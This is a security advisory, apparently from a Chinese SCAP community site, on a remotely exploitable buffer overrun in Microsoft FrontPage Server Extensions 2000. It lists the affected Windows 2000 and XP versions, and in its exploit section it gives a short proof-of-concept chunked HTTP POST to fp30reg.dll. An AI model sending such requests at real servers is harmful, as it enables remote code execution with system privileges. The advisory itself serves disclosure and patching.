Microsoft FrontPage Server Extensions 2000
+ Microsoft Windows 2000 Advanced Server SP3
+ Microsoft Windows 2000 Advanced Server SP2
+ Microsoft Windows 2000 Advanced Server SP1
+ Microsoft Windows 2000 Advanced Server
+ Microsoft Windows 2000 Datacenter Server SP3
+ Microsoft Windows 2000 Datacenter Server SP2
+ Microsoft Windows 2000 Datacenter Server SP1
+ Microsoft Windows 2000 Datacenter Server
+ Microsoft Windows 2000 Professional SP3
+ Microsoft Windows 2000 Professional SP2
+ Microsoft Windows 2000 Professional SP1
+ Microsoft Windows 2000 Professional
+ Microsoft Windows 2000 Server SP3
+ Microsoft Windows 2000 Server SP2
+ Microsoft Windows 2000 Server SP1
+ Microsoft Windows 2000 Server
+ Microsoft Windows XP Home SP1
+ Microsoft Windows XP Home
+ Microsoft Windows XP Professional SP1
+ Microsoft Windows XP Professional

- 漏洞讨论

Microsoft FrontPage Server Extensions are prone to a remotely exploitable buffer overrun vulnerability that is exposed via remote debugging functionality. It is possible to trigger this condition with a chunked-encoded HTTP POST request. This could be exploited to execute arbitrary code on a vulnerable system with Local System privileges.

- 漏洞利用

CORE has developed a working commercial exploit for their IMPACT product. This exploit is not otherwise publicly available or known to be circulating in the wild.

The researcher who discovered this vulnerability has developed working exploit code which is not publicly available or known to be circulating in the wild. The following proof-of-concept example was also provided:

POST /_vti_bin/_vti_aut/fp30reg.dll HTTP/1.1
Transfer-Encoding: chunked

PostLength
PostData
0

An exploit (fp30reg.c) has been developed and made available by Adik and is available below.

- 解决方案

Microsoft has released updates to address this issue. It should be noted that the fix entitled "Security Update for Microsoft FrontPage Server Extensions 2000" is not yet available for download at the time of writing.


Microsoft Windows 2000 Server SP2

Microsoft Windows 2000 Server SP3

Microsoft Windows 2000 Advanced Server SP3

Microsoft SharePoint Team Services 2002

Microsoft FrontPage Server Extensions 2002

Microsoft Windows XP Home SP1

Microsoft FrontPage Server Extensions 2000

Microsoft Windows 2000 Professional SP3

Microsoft Windows 2000 Advanced Server SP2

Microsoft Windows 2000 Professional SP2

Microsoft Windows XP Professional SP1

- 相关参考

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站